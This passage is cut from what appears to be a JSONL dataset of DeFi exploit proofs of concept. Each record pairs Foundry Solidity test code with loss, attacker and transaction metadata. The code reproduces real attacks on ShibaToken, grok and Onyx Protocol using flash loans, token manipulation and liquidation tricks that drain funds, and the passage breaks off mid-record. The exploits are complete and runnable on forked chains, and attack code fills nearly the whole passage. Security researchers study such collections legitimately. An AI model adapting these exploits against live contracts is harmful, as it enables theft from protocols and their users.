{\n function deposit() external payable;\n function withdraw(\n uint256\n ) external;\n}\n\ninterface ICO {\n function buyByBnb(\n address token\n ) external payable;\n}\n\ninterface ISHIBA is IERC20 {\n struct Airdrop {\n address wallet;\n uint256 amount;\n }\n\n function batchTransferLockToken(\n Airdrop[] memory _airdrops\n ) external;\n}\n\ninterface IPancakePair {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n function symbol() external pure returns (string memory);\n function decimals() external pure returns (uint8);\n function totalSupply() external view returns (uint256);\n function balanceOf(\n address owner\n ) external view returns (uint256);\n function allowance(address owner, address spender) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n function transfer(address to, uint256 value) external returns (bool);\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n function nonces(\n address owner\n ) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n function factory() external view returns (address);\n function token0() external view returns (address);\n function token1() external view returns (address);\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n function price0CumulativeLast() external view returns (uint256);\n function price1CumulativeLast() external view returns (uint256);\n function kLast() external view returns (uint256);\n\n function mint(\n address to\n ) external returns (uint256 liquidity);\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n function skim(\n address to\n ) external;\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IPancakeRouter {\n function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract ShibaToken_exp is Test {\n address immutable r = address(this);\n\n receive() external payable {}\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_528_882);\n // vm.createSelectFork(\"https://rpc.ankr.com/bsc\", bytes32(0x75a26224da9faf37c2b3a4a634a096af7fec561f631a02c93e11e4a19d159477));\n }\n\n IPancakeRouter constant x10ed = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IPancakePair constant x55d3 = IPancakePair(0x55d398326f99059fF775485246999027B3197955);\n IPancakePair constant xa19d = IPancakePair(0xa19D2674A8E2709a92e04403F721d8448f802e1f);\n ISHIBA constant x13b1 = ISHIBA(0x13B1F2E227cA6f8e08aC80368fd637f5084F10a5);\n IWBNB constant xbb4c = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n ICO constant xa422 = ICO(0xA4227de36398851aEBf4A2506008D0Aab2dd0E71);\n IDPPOracle constant xfeaf = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n address constant x0000 = 0x0000000000000000000000000000000000000000;\n address constant x1874 = 0x1874726c8c9a501836929F495A8b44968FBfdad8;\n address constant xb9bd = 0xb9bdc2537C6F4B587A5C81A67e7e3a4e6dDDa189;\n\n function test() public {\n // vm.prank(0xb9bdc2537C6F4B587A5C81A67e7e3a4e6dDDa189, 0xb9bdc2537C6F4B587A5C81A67e7e3a4e6dDDa189);\n claim(20);\n }\n\n function claim(\n uint256\n ) public {\n xfeaf.flashLoan(20_000_000_000_000_000_000, 0, r, hex\"00\");\n x55d3.balanceOf(r);\n }\n\n function DPPFlashLoanCall(address, uint256, uint256, bytes memory) public {\n xbb4c.balanceOf(r);\n xbb4c.withdraw(20_000_000_000_000_000_000);\n x55d3.approve(\n address(xa422),\n 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935\n );\n x55d3.transfer(xb9bd, 0);\n xa422.buyByBnb{value: 20_000_000_000_000_000_000}(x0000);\n x13b1.balanceOf(r);\n address[] memory path = new address[](2);\n path[0] = address(x13b1);\n path[1] = address(x55d3);\n x10ed.getAmountsOut(507_677_278_570_125_202_361_500_000, path);\n\n ISHIBA.Airdrop[] memory airdrops = new ISHIBA.Airdrop[](1);\n airdrops[0] = ISHIBA.Airdrop(address(xa19d), 507_677_278_570_125_202_361_500_000);\n x13b1.batchTransferLockToken(airdrops);\n xa19d.swap(0, 30_948_073_916_467_640_719_090, r, \"\");\n x55d3.balanceOf(r);\n x55d3.approve(\n address(x10ed),\n 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935\n );\n\n address[] memory path2 = new address[](2);\n path2[0] = address(x55d3);\n path2[1] = address(xbb4c);\n x10ed.swapExactTokensForETHSupportingFeeOnTransferTokens(\n 30_948_073_916_467_640_719_090, 0, path2, r, 1_700_095_314\n );\n xbb4c.deposit{value: 121_697_224_718_492_366_219}();\n xbb4c.transfer(address(xfeaf), 20_000_000_000_000_000_000);\n xbb4c.balanceOf(r);\n xbb4c.transfer(address(x1874), 101_697_224_718_492_366_219);\n }\n\n fallback() external payable {\n revert(\"no such function\");\n }\n}\n", "type": "exploit_poc", "protocol": "ShibaToken", "date": "2023-11", "file_name": "ShibaToken_exp.sol", "attack_vector": "flash_loan", "content_hash": "1192fa0d7242785d", "collected_at": "2026-01-07T10:59:16.537221", "_source": "postmortems", "chain": "bsc", "block_number": 33528882, "total_lost_raw": "~$31K", "total_lost_usd": 31000.0, "attacker_address": "https://bscscan.com/address/0xb9bdc2537c6f4b587a5c81a67e7e3a4e6ddda189", "attack_contract": "https://bscscan.com/address/0xda148143379ae54e06d2429a5c80b19d4a9d6734", "vulnerable_contract": "https://bscscan.com/address/0x13b1f2e227ca6f8e08ac80368fd637f5084f10a5", "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x75a26224da9faf37c2b3a4a634a096af7fec561f631a02c93e11e4a19d159477", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$31K", "category": "flash-loan", "exploit_code": "function test() public {\n // vm.prank(0xb9bdc2537C6F4B587A5C81A67e7e3a4e6dDDa189, 0xb9bdc2537C6F4B587A5C81A67e7e3a4e6dDDa189);\n claim(20);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$31K", "keyinfo_attacker": "https://bscscan.com/address/0xb9bdc2537c6f4b587a5c81a67e7e3a4e6ddda189", "keyinfo_attack_contract": "https://bscscan.com/address/0xda148143379ae54e06d2429a5c80b19d4a9d6734", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x13b1f2e227ca6f8e08ac80368fd637f5084f10a5", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x75a26224da9faf37c2b3a4a634a096af7fec561f631a02c93e11e4a19d159477", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$31.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "ShibaToken Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~26 ETH\n// Attacker : https://etherscan.io/address/0x864e656c57a5a119f332c47326a35422294db5c9\n// Attack Contract : https://etherscan.io/address/0x03e7b13bcd9b8383f403696c1494845560607eca\n// Vuln Contract : https://etherscan.io/address/0x8390a1DA07E376ef7aDd4Be859BA74Fb83aA02D5\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x3e9bcee951cdad84805e0c82d2a1e982e71f2ec301a1cbd344c832e0acaee813?line=136\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1722841076120130020\n\ncontract ContractTest is Test {\n Uni_Router_V2 router_v2 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n Uni_Router_V3 router_v3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n IERC20 grok = IERC20(0x8390a1DA07E376ef7aDd4Be859BA74Fb83aA02D5);\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n Uni_Pair_V3 wethpair = Uni_Pair_V3(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa);\n Uni_Pair_V3 pair = Uni_Pair_V3(0x66bA59cBD09E75B209D1D7E8Cf97f4Ab34DA413B);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_538_679 - 1);\n cheats.label(address(weth), \"WETH\");\n }\n\n function testExpolit() public {\n emit log_named_decimal_uint(\"attaker balance before attack:\", weth.balanceOf(address(this)), weth.decimals());\n wethpair.flash(address(this), 0, 30_000_000_000_000_000_000, new bytes(1));\n emit log_named_decimal_uint(\"attaker balance after attack:\", weth.balanceOf(address(this)), weth.decimals());\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n if (msg.sender == address(wethpair)) {\n pair.flash(address(this), 63_433_590_767_572_373, 0, new bytes(1));\n grok.approve(address(router_v3), grok.balanceOf(address(this)));\n router_v3.exactInputSingle(\n Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(grok),\n tokenOut: address(weth),\n fee: 10_000,\n recipient: address(this),\n deadline: block.timestamp + 100,\n amountIn: grok.balanceOf(address(this)),\n amountOutMinimum: 30 ether,\n sqrtPriceLimitX96: 0\n })\n );\n weth.transfer(address(wethpair), 30 ether + uint256(amount1));\n } else {\n weth.approve(address(router_v2), type(uint256).max);\n grok.approve(address(router_v2), type(uint256).max);\n grok.approve(address(router_v3), type(uint256).max);\n //first step\n address[] memory path = new address[](2);\n path[0] = address(grok);\n path[1] = address(weth);\n router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 30_695_631_768_482_954, 0, path, address(this), block.timestamp + 100\n );\n grok.transfer(address(grok), 2_737_958_999_089_419);\n router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 30_000_000_000_000_000, 0, path, address(this), block.timestamp + 100\n );\n path[0] = address(weth);\n path[1] = address(grok);\n router_v2.swapTokensForExactTokens(\n 64_067_926_675_248_097, weth.balanceOf(address(this)), path, address(this), block.timestamp + 100\n );\n grok.transfer(address(pair), grok.balanceOf(address(this)));\n //second step\n router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 30_000_000_000_000_000_000, 0, path, address(this), block.timestamp + 100\n );\n }\n }\n}\n", "type": "exploit_poc", "protocol": "grok", "date": "2023-11", "file_name": "grok_exp.sol", "attack_vector": null, "content_hash": "049dc3944acc3676", "collected_at": "2026-01-07T10:59:16.537288", "_source": "postmortems", "chain": "ethereum", "block_number": 18538679, "total_lost_raw": "~26 ETH", "total_lost_usd": 26.0, "attacker_address": "https://etherscan.io/address/0x864e656c57a5a119f332c47326a35422294db5c9", "attack_contract": "https://etherscan.io/address/0x03e7b13bcd9b8383f403696c1494845560607eca", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0x3e9bcee951cdad84805e0c82d2a1e982e71f2ec301a1cbd344c832e0acaee813?line=136", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~26 ETH", "category": "unknown", "exploit_code": "function testExpolit() public {\n emit log_named_decimal_uint(\"attaker balance before attack:\", weth.balanceOf(address(this)), weth.decimals());\n wethpair.flash(address(this), 0, 30_000_000_000_000_000_000, new bytes(1));\n emit log_named_decimal_uint(\"attaker balance after attack:\", weth.balanceOf(address(this)), weth.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~26 ETH", "keyinfo_attacker": "https://etherscan.io/address/0x864e656c57a5a119f332c47326a35422294db5c9", "keyinfo_attack_contract": "https://etherscan.io/address/0x03e7b13bcd9b8383f403696c1494845560607eca", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0x3e9bcee951cdad84805e0c82d2a1e982e71f2ec301a1cbd344c832e0acaee813?line=136", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$26", "content_richness_score": 6.97, "quality_estimate": "medium", "title": "grok Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$2M\n// Attacker : https://etherscan.io/address/0x085bdff2c522e8637d4154039db8746bb8642bff\n// Attack Contract : https://etherscan.io/address/0x526e8e98356194b64eae4c2d443cc8aad367336f\n// Vuln Contract : https://etherscan.io/address/0x5fdbcd61bc9bd4b6d3fd1f49a5d253165ea11750\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1719697319824851051\n// https://defimon.xyz/attack/mainnet/0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635\n// https://twitter.com/DecurityHQ/status/1719657969925677161\n\ninterface IComptroller {\n function liquidateCalculateSeizeTokens(\n address cTokenBorrowed,\n address cTokenCollateral,\n uint256 actualRepayAmount\n ) external view returns (uint256, uint256);\n\n function enterMarkets(\n address[] memory cTokens\n ) external returns (uint256[] memory);\n}\n\ncontract ContractTest is Test {\n IAaveFlashloan private constant AaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933);\n IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 private constant PAXG = IERC20(0x45804880De22913dAFE09f4980848ECE6EcbAf78);\n IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 private constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);\n ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750));\n ICErc20Delegate private constant oUSDC = ICErc20Delegate(payable(0x8f35113cFAba700Ed7a907D92B114B44421e412A));\n ICErc20Delegate private constant oUSDT = ICErc20Delegate(payable(0xbCed4e924f28f43a24ceEDec69eE21ed4D04D2DD));\n ICErc20Delegate private constant oPAXG = ICErc20Delegate(payable(0x0C19D213e9f2A5cbAA4eC6E8eAC55a22276b0641));\n ICErc20Delegate private constant oDAI = ICErc20Delegate(payable(0x830DAcD5D0a62afa92c9Bc6878461e9cD317B085));\n ICErc20Delegate private constant oBTC = ICErc20Delegate(payable(0x1933f1183C421d44d531Ed40A5D2445F6a91646d));\n ICErc20Delegate private constant oLINK = ICErc20Delegate(payable(0xFEe4428b7f403499C50a6DA947916b71D33142dC));\n crETH private constant oETHER = crETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79));\n Uni_Pair_V2 private constant PEPE_WETH = Uni_Pair_V2(0xA43fe16908251ee70EF74718545e4FE6C5cCEc9f);\n Uni_Pair_V2 private constant USDC_WETH = Uni_Pair_V2(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);\n Uni_Pair_V2 private constant WETH_USDT = Uni_Pair_V2(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);\n Uni_Pair_V2 private constant PAXG_WETH = Uni_Pair_V2(0x9C4Fe5FFD9A9fC5678cFBd93Aa2D4FD684b67C4C);\n Uni_Pair_V2 private constant DAI_WETH = Uni_Pair_V2(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11);\n Uni_Pair_V2 private constant WBTC_WETH = Uni_Pair_V2(0xBb2b8038a1640196FbE3e38816F3e67Cba72D940);\n Uni_Pair_V2 private constant LINK_WETH = Uni_Pair_V2(0xa2107FA5B38d9bbd2C461D6EDf11B11A50F6b974);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_476_512);\n vm.label(address(AaveV3), \"AaveV3\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(PEPE), \"PEPE\");\n vm.label(address(oPEPE), \"oPEPE\");\n vm.label(address(oETHER), \"oETHER\");\n vm.label(address(PEPE_WETH), \"PEPE_WETH\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n deal(address(this), 0 ether);\n deal(address(WETH), address(this), 0);\n emit log_named_decimal_uint(\"Attacker WETH balance before exploit\", WETH.balanceOf(address(this)), 18);\n\n AaveV3.flashLoanSimple(address(this), address(WETH), 4000 * 1e18, bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), 18);\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n approveAll();\n (uint112 reservePEPE, uint112 reserveWETH,) = PEPE_WETH.getReserves();\n uint256 amountOut = calcAmountOut(reservePEPE, reserveWETH, WETH.balanceOf(address(this)));\n WETHToPEPE(amountOut);\n\n // oETHER\n IntermediateContractETH intermediateETH = new IntermediateContractETH();\n PEPE.transfer(address(intermediateETH), PEPE.balanceOf(address(this)));\n intermediateETH.start();\n oETHER.liquidateBorrow{value: 0.000000000000000001 ether}(address(intermediateETH), address(oPEPE));\n oPEPE.redeem(oPEPE.balanceOf(address(this)));\n WETH.deposit{value: address(this).balance}();\n\n // oUSDC\n {\n exploitToken(oUSDC);\n (uint112 reserveUSDC, uint112 reserveWETH1,) = USDC_WETH.getReserves();\n amountOut = calcAmountOut(reserveWETH1, reserveUSDC, USDC.balanceOf(address(this)));\n USDCToWETH(amountOut);\n }\n\n // oUSDT\n {\n exploitToken(oUSDT);\n (uint112 reserveWETH2, uint112 reserveUSDT,) = WETH_USDT.getReserves();\n amountOut = calcAmountOut(reserveUSDT, reserveWETH2, USDT.balanceOf(address(this)));\n USDTToWETH(amountOut);\n }\n\n // oPAXG\n {\n exploitToken(oPAXG);\n (uint112 reservePAXG, uint112 reserveWETH3,) = PAXG_WETH.getReserves();\n amountOut = calcAmountOut(reserveWETH3, reservePAXG, PAXG.balanceOf(address(this)));\n PAXGToWETH(amountOut);\n }\n\n // oDAI\n {\n exploitToken(oDAI);\n (uint112 reserveDAI, uint112 reserveWETH4,) = DAI_WETH.getReserves();\n amountOut = calcAmountOut(reserveWETH4, reserveDAI, DAI.balanceOf(address(this)));\n DAIToWETH(amountOut);\n }\n\n // oBTC\n {\n exploitToken(oBTC);\n (uint112 reserveWBTC, uint112 reserveWETH5,) = WBTC_WETH.getReserves();\n amountOut = calcAmountOut(reserveWETH5, reserveWBTC, WBTC.balanceOf(address(this)));\n WBTCToWETH(amountOut);\n }\n\n // oLink\n {\n exploitToken(oLINK);\n (uint112 reserveLINK, uint112 reserveWETH6,) = LINK_WETH.getReserves();\n amountOut = calcAmountOut(reserveWETH6, reserveLINK, LINK.balanceOf(address(this)));\n\n LINKToWETH(amountOut);\n }\n\n // PEPE\n PEPEToWETH();\n\n WETH.approve(address(AaveV3), amount + premium);\n return true;\n }\n\n receive() external payable {}\n\n function WETHToPEPE(\n uint256 _amountOut\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(PEPE);\n Router.swapExactTokensForTokens(\n WETH.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600\n );\n }\n\n function USDCToWETH(\n uint256 _amountOut\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(USDC);\n path[1] = address(WETH);\n Router.swapExactTokensForTokens(\n USDC.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600\n );\n }\n\n function USDTToWETH(\n uint256 _amountOut\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(WETH);\n Router.swapExactTokensForTokens(\n USDT.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600\n );\n }\n\n function PAXGToWETH(\n uint256 _amountOut\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(PAXG);\n path[1] = address(WETH);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n PAXG.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600\n );\n }\n\n function DAIToWETH(\n uint256 _amountOut\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(DAI);\n path[1] = address(WETH);\n Router.swapExactTokensForTokens(\n DAI.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600\n );\n }\n\n function WBTCToWETH(\n uint256 _amountOut\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(WBTC);\n path[1] = address(WETH);\n Router.swapExactTokensForTokens(\n WBTC.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600\n );\n }\n\n function LINKToWETH(\n uint256 _amountOut\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(LINK);\n path[1] = address(WETH);\n Router.swapExactTokensForTokens(\n LINK.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600\n );\n }\n\n function PEPEToWETH() internal {\n address[] memory path = new address[](2);\n path[0] = address(PEPE);\n path[1] = address(WETH);\n Router.swapExactTokensForTokens(\n PEPE.balanceOf(address(this)), 3_950_619_005_376_690_920_220, path, address(this), block.timestamp + 3600\n );\n }\n\n function approveAll() internal {\n WETH.approve(address(Router), type(uint256).max);\n USDC.approve(address(Router), type(uint256).max);\n USDC.approve(address(oUSDC), type(uint256).max);\n USDT.approve(address(Router), type(uint256).max);\n USDT.approve(address(oUSDT), type(uint256).max);\n PAXG.approve(address(Router), type(uint256).max);\n PAXG.approve(address(oPAXG), type(uint256).max);\n DAI.approve(address(Router), type(uint256).max);\n DAI.approve(address(oDAI), type(uint256).max);\n WBTC.approve(address(Router), type(uint256).max);\n WBTC.approve(address(oBTC), type(uint256).max);\n LINK.approve(address(Router), type(uint256).max);\n LINK.approve(address(oLINK), type(uint256).max);\n PEPE.approve(address(Router), type(uint256).max);\n }\n\n function calcAmountOut(uint112 reserve1, uint112 reserve2, uint256 tokenBalance) internal pure returns (uint256) {\n uint256 a = (tokenBalance * 997);\n uint256 b = a * reserve1;\n uint256 c = (reserve2 * 1000) + a;\n return b / c;\n }\n\n function exploitToken(\n ICErc20Delegate onyxToken\n ) internal {\n IntermediateContractToken intermediateToken = new IntermediateContractToken();\n PEPE.transfer(address(intermediateToken), PEPE.balanceOf(address(this)));\n intermediateToken.start(onyxToken);\n onyxToken.liquidateBorrow(address(intermediateToken), 1, address(oPEPE));\n oPEPE.redeem(oPEPE.balanceOf(address(this)));\n }\n}\n\ncontract IntermediateContractETH {\n IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933);\n ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750));\n crETH private constant oETHER = crETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79));\n IComptroller private constant Unitroller = IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800);\n\n function start() external {\n PEPE.approve(address(oPEPE), type(uint256).max);\n oPEPE.mint(1e18);\n oPEPE.redeem(oPEPE.totalSupply() - 2);\n uint256 redeemAmt = PEPE.balanceOf(address(this)) - 1;\n PEPE.transfer(address(oPEPE), PEPE.balanceOf(address(this)));\n\n address[] memory oTokens = new address[](1);\n oTokens[0] = address(oPEPE);\n Unitroller.enterMarkets(oTokens);\n oETHER.borrow(oETHER.getCash() - 1);\n\n (bool success,) = msg.sender.call{value: address(this).balance}(\"\");\n require(success, \"Transfer ETH not successful\");\n\n oPEPE.redeemUnderlying(redeemAmt);\n (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this));\n (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(oETHER), address(oPEPE), 1);\n uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2;\n oPEPE.mint(mintAmount);\n PEPE.transfer(msg.sender, PEPE.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n\ncontract IntermediateContractToken {\n IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933);\n ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750));\n IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IComptroller private constant Unitroller = IComptroller(0x7D61ed92a6778f5ABf5c94085739f1EDAbec2800);\n\n function start(\n ICErc20Delegate onyxToken\n ) external {\n PEPE.approve(address(oPEPE), type(uint256).max);\n oPEPE.mint(1e18);\n oPEPE.redeem(oPEPE.totalSupply() - 2);\n uint256 redeemAmt = PEPE.balanceOf(address(this)) - 1;\n PEPE.transfer(address(oPEPE), PEPE.balanceOf(address(this)));\n\n address[] memory oTokens = new address[](1);\n oTokens[0] = address(oPEPE);\n Unitroller.enterMarkets(oTokens);\n onyxToken.borrow(onyxToken.getCash() - 1);\n\n if (onyxToken.underlying() == address(USDC)) {\n USDC.transfer(msg.sender, USDC.balanceOf(address(this)));\n } else if (onyxToken.underlying() == address(USDT)) {\n USDT.transfer(msg.sender, USDT.balanceOf(address(this)));\n } else {\n IERC20(onyxToken.underlying()).transfer(msg.sender, IERC20(onyxToken.underlying()).balanceOf(address(this)));\n }\n\n oPEPE.redeemUnderlying(redeemAmt);\n (,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this));\n (, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(onyxToken), address(oPEPE), 1);\n uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2;\n oPEPE.mint(mintAmount);\n PEPE.transfer(msg.sender, PEPE.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "OnyxProtocol", "date": "2023-11", "file_name": "OnyxProtocol_exp.sol", "attack_vector": "flash_loan", "content_hash": "5a827c91e3f3ba47", "collected_at": "2026-01-07T10:59:16.537346", "_source": "postmortems", "chain": "ethereum", "block_number": 18476512, "total_lost_raw": "~$2M", "total_lost_usd": 2000000.0, "attacker_address": "https://etherscan.io/address/0x085bdff2c522e8637d4154039db8746bb8642bff", "attack_contract": "https://etherscan.io/address/0x526e8e98356194b64eae4c2d443cc8aad367336f", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$2M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 0 ether);\n deal(address(WETH), address(this), 0);\n emit log_named_decimal_uint(\"Attacker WETH balance before exploit\", WETH.balanceOf(address(this)), 18);\n\n AaveV3.flashLoanSimple(address(this), address(WETH), 4000 * 1e18, bytes(\"\"), 0);\n\n emit log_named_decimal_uint(\"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$2M", "keyinfo_attacker": "https://etherscan.io/address/0x085bdff2c522e8637d4154039db8746bb8642bff", "keyinfo_attack_contract": "https://etherscan.io/address/0x526e8e98356194b64eae4c2d443cc8aad367336f", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xf7c21600452939a81b599017ee24ee0dfd92aaaccd0a55d02819a7658a6ef635", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.00M", "content_richness_score": 9, "quality_estimate": "high", "title": "OnyxProtocol Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$365K\n// Attacker : https://bscscan.com/address/0x69e068eb917115ed103278b812ec7541f021cea0\n// Attack Contract : https://bscscan.com/address/0x3918e0d26b41134c006e8d2d7e3206a53b006108\n// Victim Contract : 